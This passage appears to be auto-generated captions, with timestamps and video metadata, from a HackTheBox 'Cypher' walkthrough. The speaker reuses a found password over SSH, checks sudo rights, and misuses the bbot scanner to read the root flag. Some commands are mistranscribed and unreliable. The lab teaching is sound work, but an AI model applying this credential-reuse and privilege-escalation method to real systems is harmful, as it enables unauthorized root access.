directory and found cipher, then we wouldn't even need to bypass authentication altogether because we get right to where we can query cipher queries here, right? and you can combine that knowledge with the um jar file you got from testing and then get command execution. Right? So there's a pretty big bypass there. It's...
1,206.48
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
do a grap sh on dollar. And we see there's two users, graphasm and neo4j.
1,256.159
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
If I do sh graphasm at uh let's do cipher.htb put in that password, it will let me in. And this is something you should always do um when you get a credential. Um you can try it against all the um users. I'd only do ones above 1,00 because those are ones that will probably have a credential in this. Um Neo4j may have t...
1,262.88
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
I'm in ver lib near 4j. If we do uh maybe it's not anywhere else. Uh, let's do dubdubdub graph ASM.
1,322.24
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
Uh, let's see. I was hoping to find like uh the actual websites code, but I don't think it's here. Let's do Etsy engine X sites enabled cat default because this is going to tell us where all the um good files are. So, we have slash testing is aliased here. That's going to be where the JAR file was. Slash is just graph ...
1,334.72
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
And then we have location API and that's going to 1270018000. Is this going to be Docker? Uh PS-F forest 8,000. Let's see.
1,364.559
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
I wonder if we want to do last dash capital S. Will that get us everything?
1,384.799
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
There we go. So, yeah. Um, port 8000 is going to be inside of Docker. So, I don't know if we have actual um access to the website code that is accessing Neo4j, which is a bit odd because we got command injection. We exploited this, right? And the API cipher. This is being ran on that docker in port 8000 most likely. So...
1,390.799
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
So hopefully that makes sense. Um the Docker is definitely reaching back out to the host talking to this Java port and um yeah so let's see what else do we have. Um we can do a pseudo-L on the graph ASM user and we see we have BBOT that we can run. So let's see exactly what this is. So if I do a um cat user local bin b...
1,458.48
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
we have P maybe parameter. We're giving it spider subdomain, whatnot. Um, see, this is probably like some type of argument, maybe commands for it. Uh, but we could really just go to the top of this and that'll give us all the instructions, right? Uh, we see the big huge BLS OS end tool. BLS stands for Black Lantern Sec...
1,536.799
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
reads files um, what it does with those files, right? So it looks like we can do d-targets and specify multiple. So if we specify multiple targets, um what if we gave it a uh file on the like if it loaded a file on the box and then tried to do a curl against the contents of root.ext? If it outputs that, we get the resu...
1,587.279
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }
Um it's scanning targets from file. Scanner is ready. And if I hit enter, um it looks like it has started a scan. I don't think that's the content of root.ext. This looks to be probably a SHA one hash. That is a little long. I don't think that's 32 characters. Um, let's see. WC- C uh 41 characters or 40 characters with...
1,629.12
0
{ "video_id": "L7Amlj9DKm8", "title": "HackTheBox - Cypher", "url": "https://www.youtube.com/watch?v=L7Amlj9DKm8" }